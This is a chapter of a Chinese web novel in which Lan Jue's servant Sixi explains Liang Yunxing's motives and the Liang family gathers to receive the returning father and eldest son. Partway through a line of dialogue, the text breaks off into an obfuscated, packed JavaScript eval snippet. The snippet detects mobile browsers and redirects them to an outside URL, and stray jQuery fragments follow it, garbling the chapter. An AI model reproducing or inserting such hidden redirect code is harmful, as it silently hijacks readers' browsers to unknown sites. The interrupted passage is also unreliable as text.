24. 木已成舟(1)

作品:《孝子贤孙

    “呵,他还想闹到什么程度?”


    岚珏原本只觉这人有病,听完这盘根错节之后更觉这人狐假虎威,翻不起什么风浪。


    “他们两家都是体面人,他再跋扈,总不好真的跟我动手吧……”岚珏眉毛一竖,“何况我又不是真的远房亲戚!


    “实在不行我就去和梁家告状,梁老四性格再古怪,亲疏远近总不能分不清吧?我就不信他能看着自己的未,未……未婚妻,被人欺负死!”


    “公子说得是。”


    四喜强自扯了扯嘴角,“只是梁家、戚家积怨已深,戚家虽没落,瘦死的骆驼却比马大……若戚公子只是逞口舌之快小打小闹,梁家怕是不好做什么大动作。”


    说罢看向岚珏,眼神里多了一份心疼与无奈,“届时,怕是要叫公子您委屈一阵了……”


    “说两嘴没事,大不了我也阴阳回去。”


    岚珏不屑,“可他不能没完没了地羞辱我,让我下跪什么的,否则我一忍再忍,丢的不止我自己的脸,梁家的脸也让我丢尽了吧?”


    “是,公子思虑周全,小的也定会护着您,尽量叫您避开那起子纨绔。”


    四喜苦笑,“您若实在避不开,多同四少爷或表少爷待在一处也是好的,戚公子有所避忌,便不会咄咄逼人了。”


    “呵,和他们待在一起……”


    岚珏眺着远远的两道身影,没好气道,“世安还行,可你看另一位?一下课跑得比兔子还快!生怕我逮着他薅似的。”


    想想又嘀咕了一嘴,“其实我压根不该来读书……说是怕我没文化丢人现眼待不下去,实际是他自己怕丢脸吧……


    “有应酬大不了我不去不就好了,这学到底有什么好上的……”


    “公子别想多了,”四喜宽慰他道,“读书明理,小的能一直在您身旁出谋划策,焉知不是幼时陪四少爷读书之故?”


    “呵,你厉害是因为你本身就爱琢磨事……不然你换个人试试?”


    岚珏嗤之以鼻,抬手一指梁蕴行身后唯唯诺诺的四宝,“喏,你让那个,看着有点呆的兄弟,陪咱们读两天书,看看他能琢磨出什么人生大道理来?”


    “这——”


    四喜被岚珏逗乐,想笑又不敢笑,眼珠一转,忽然来了句,“其实……四少爷让您入学堂读书,仿佛不全是为了面子上的事。”


    “是啊,还满足了他的恶趣味,”岚珏没好气地盯着那道颀长板正的身影,“毕竟他就喜欢给人拿主意嘛,不编排我一下可憋死他了。”


    “公子别说气话。”四喜哭笑不得。


    “那你说为什么?”


    岚珏忽然偏头看向四喜,眉毛一挑,“总不能是他突然间转了性子,爱我爱得死心塌地,一日不见如隔三秋,要把我绑在他身边?”


    “……”


    四喜一时不知说什么是好,否决与承认都如鲠在喉,叫他倏忽涨红了脸。


    走在前头的阿门更是差点惊掉了书箱——四少爷原来还好这口!当真是知人知面不知心!


    “四少爷对公子的感情,自然是与旁人不同的……”


    四喜憋了半天,挑挑拣拣憋出一句模棱两可的话,又咽了几下嗓子,小心翼翼道,“不然四少爷也不会为公子的事劳心伤神,更不会在得知您被兰家夫妇坑害,连开蒙都不曾有之时,在房中静思了一夜……”


    “静思了一夜?”


    岚珏瞳孔微震,对此话深表怀疑,“你该不会是为了给他脸上贴金,自己瞎编的吧……”


    “小的怎敢?”


    四喜哑然失笑,“此事是从四宝那打听来的,四院的仆奴和府卫皆为见证,实在算不得什么秘密。”


    见岚珏将信将疑,他眨眨眼,趁热打铁道,“如此看来,四少爷费尽周折也要把您送入学堂,同此事不无关联,应当是……”


    “是什么?”


    “是存了弥补您的心思。”


    四喜觑着岚珏的眼睛,瓷声瓷气道,“四少爷应是要弥补您前十一年,在兰家村虚耗的光景。”


    “……”


    这下轮到岚珏自己沉默了。


    四喜见岚珏表情似有松动,赶忙又添了把火,“方才公子说,四少爷就喜欢给人拿主意,这可是天大的误会……


    “小的打出生就在梁家,五岁便跟在四少爷后边,陪他出生入死。可依小的所见,四少爷从未插手任何人的事,更不要提折腾谁,编排谁……”


    说到这,四喜突然放轻了语气,“公子,四少爷这是,关心则乱啊……”


    ·


    关心,则乱?


    弥补他……


    岚珏坐上马车,神色复杂地瞟了梁四一眼。


    梁蕴行一上车便捧起书卷安静地读了起来,他身姿笔挺,表情端肃,一卷密密麻麻的书看得极为入神,同车厢之内的两名学渣形成鲜明对比。


    栾世安自上车起就絮絮叨叨,一会儿说策论难写学究严苛,一会儿盘算着几日后的端午节,他们该到哪里去玩。


    “诶,岚兄,端午那日,护城河边有龙舟竞渡,不如咱们去瞧瞧?”


    “行啊,都行,我无所谓。”


    岚珏漫不经心应着,脑子却忍不住翻来覆去思考那个问题——梁蕴行到底是什么意思?


    一个男的,会因为另一个男的没读书而产生怜悯之心,还要补偿他吗?


    再往前想,这男的还“以身相报”,跟他结婚帮他落户,还帮他收拾烂摊子……


    靠,梁蕴行不会真的看上他了吧?!


    岚珏虎躯一震,又急急瞟了梁四一眼,这回却被正主原地抓包。


    梁蕴行捧着书,微微凝蹙的剑眉底下是一双不耐烦的招子,好似在说——你丫看够没?到底什么事?


    没事!他哪敢有事!


    岚珏连忙收回目光看向窗外,掩饰住“扑通扑通”狂跳的心脏。


    妈的,被腐女苗兰影响多了,人思想都不纯洁了!


    不就是帮个忙吗?自己救了他的命,他全心全意报答,有什么问题?


    没问题,不可能有问题!


    梁蕴行这种人绝对不会喜欢上任何人!况且他还亲口承认过的,就在观鹤亭边!


    这会儿岚珏的记忆又神奇地恢复了,他一边劝自己别多想,一边看着小窗外快速向后的街景放空大脑——直到看到两张熟悉的脸。


    “呦,未来的三甲回来啦!”


    柳慕云正翘着腿,坐在屋檐下的摇椅上一晃一晃的,边上端坐着闭目养神的梁蕴识。


    不远处,一个巨大的黄铜风扇坐落在木台子上,前头还放着一大盆冰,仆奴一摇,风扇一转,带起的风便拂过冰面吹向两人,为这小小一隅增添了无限清凉。


    “诶,二表哥二表嫂怎么在大门前边坐着?”


    马车一停,栾世安一个跨步下了车,朝他们一溜烟跑过去,“不会是在接咱们仨下学吧?”


    “你这小皮猴子,”柳慕云弯起眼角,“我敢接,你同四弟敢受着吗?”


    “只有我同四表哥,自然是不敢,”栾世安摸了摸后脑勺,“可眼下不是还有岚兄在嘛!岚兄第一日上学,面子比天都大,二表哥和二表嫂不放心来接,也是人之常情。”


    “哟,瞧你说的,我俩若不是来接你们,倒显得我夫妻二人不懂事了。”


    见梁蕴行和岚珏前后脚走到他们跟前,柳慕云伸了个懒腰,缓缓起身,“那便同你们说声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337443|183380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对不住吧,今日确不是接你们下学来着。”


    梁四看着兄嫂及其身后的十数名仆奴,蓦地眸光一动,“是大哥大嫂同父亲要回来了?”


    嗯?


    岚珏睨了他一眼,陡然想起栾世安那天无意透露的一句话——“四表哥一度只同大表哥一家亲近,近年来方好转了些。”


    ……当年到底发生了什么,能让这冷心冷脸的小毒舌对老大夫妇交付真心,甚至产生了比生身父母更为亲近的依恋?


    “若只是父亲和兄嫂啊,便不用咱这么巴巴地守着了。”


    柳慕云端起身旁木几上的一碗冰镇绿豆汤,优哉游哉地喝了一口,方道,“说是官家要派大内的人护送,保不齐还有别的指示,母亲为稳妥起见,便让我二人来正门相迎,没得叫谁又挑咱家的毛病。”


    说着把汤盏往丈夫手上一放,往后一靠,慵懒地闭上了双眼,“你嫂嫂我已经在这等了半柱香了,又热又累的,当真是伴君如——”


    “慕云……慎言。”


    梁蕴识有些无奈,腾出一只手擦了擦柳慕云的嘴角,冲几个弟弟淡淡一笑。


    “母亲谨慎些是应该的,”他道,“只是大内车队行踪隐秘,咱们的人最多只能到城门候着,又怕消息传得太晚来不及应对,我二人便选了个最笨的法子——守于此处,静候佳音。”


    “哦?那城门处是有人等着了?”栾世安探头探脑,一脸期待。


    “嗯,一心同阿生带着几名府卫,一大早便去了城门,”梁蕴识抬头看了看天,“午时了……算了算时辰,也该到了。”


    说时迟那时快,一名府卫扬着马鞭策马而来,“吁——”


    随后干脆利落下马,小跑至他们面前抱拳一鞠,“二少爷,大内护送的队伍离府还有三里地,一心哥叫小的速速回报,请诸位主子准备接迎。”


    “好。”


    岚珏眼看着梁蕴识一声应下,一群仆奴自觉开始分工,如训练有素的工蚁般有条不紊,扶主子的扶主子,搬家具的搬家具。


    待他反应过来时,他已经被安置到接迎的队列中,虽是站在最边上,却和梁家人并排,不分彼此。


    再一抬头,浩浩荡荡的马车队伍自远而近,停在了梁府前头。


    为首的几名侍卫纷纷下马,呈梭形簇拥在一辆宽敞奢华的四驾马车周围。


    紧接着,马车的门帘被一只手掀开,一名眉目俊朗,与梁二梁四皆有几分神似的公子弯着腰走出车厢,扶着早就在车旁站定的一心的手,不慌不忙下了地。


    喔,这一定是梁家大少爷了,岚珏想。


    且看他下了马车也并未走开,回身从马车里接出一个约莫七八岁的小男孩,再次伸手时,一只纤长的手搭在了他小臂上方。


    岚珏瞪圆了眼,巴巴地看着那位梁大少爷扬唇一笑,大掌覆在那截素手之上,堪称小心翼翼地从车厢里迎出一位——男子?


    嗯?


    不是说陪伴圣驾的只有梁相和老大夫妇吗?这男人是谁,这小孩又是谁?


    且见这名男子身着白衣,身形颀长,头戴一顶颜色极好的青玉冠,半披着发自马凳缓缓走下。他容貌虽不是一等一的出众,气质却清丽出尘,华而不俗,远远观去活似一尊灵动的观音像,让人不由自主心生虔诚。


    嘶,不对,这人看着好像还年轻些……不要告诉他第一个出来的其实是梁相啊?!!


    岚珏万分惊恐地盯着前方,待到满脸沧桑,眼角褶子都好几层的中年男子气定神闲下了车,他微悬的心才放了下来,却止不住泛起更多疑问——


    那一大一小到底是谁,大少夫人呢?


    岚珏看着前方亲昵的两人,心中突然泛起一个不祥的预感。